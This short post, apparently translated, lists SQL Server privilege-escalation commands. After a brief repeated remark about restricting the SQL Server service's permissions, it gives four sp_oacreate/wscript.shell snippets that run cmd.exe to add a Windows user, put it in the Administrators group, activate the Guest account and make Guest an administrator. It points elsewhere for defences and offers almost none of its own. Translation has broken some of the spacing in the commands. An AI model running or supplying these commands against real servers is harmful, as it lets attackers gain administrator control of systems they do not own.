Common SQL Privilege Escalation commands. You can consider setting SQL Server service operation permissions to common users to prevent the following privilege escalation.
Common SQL Privilege Escalation commands. You can consider setting SQL Server service operation permissions to common users to prevent the following privilege escalation.
1. Connect to the database
Driver = {SQL Server}; server = Server IP address; uid = user name; pwd = password; database = database Name
2. Add a new user
Declare @ shell int exec sp_oacreate 'wscript. shell ', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: \ windows \ system32 \ cmd.exe/c net user New user Password/add'
3. Add the user to the Management Group
Declare @ shell int exec sp_oacreate 'wscript. shell ', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: \ windows \ system32 \ cmd.exe/c net localgroup administrators new user/add'
4. Activate the GUEST user
Declare @ shell int exec sp_oacreate 'wscript. shell ', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: \ windows \ system32 \ cmd.exe/c net user guest/active: yes'
5. Add Guest to the Management Group.
Declare @ shell int exec sp_oacreate 'wscript. shell ', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: \ windows \ system32 \ cmd.exe/c net localgroup Administrators Guest/add'
For more information about the prevention method, see the script home server section.
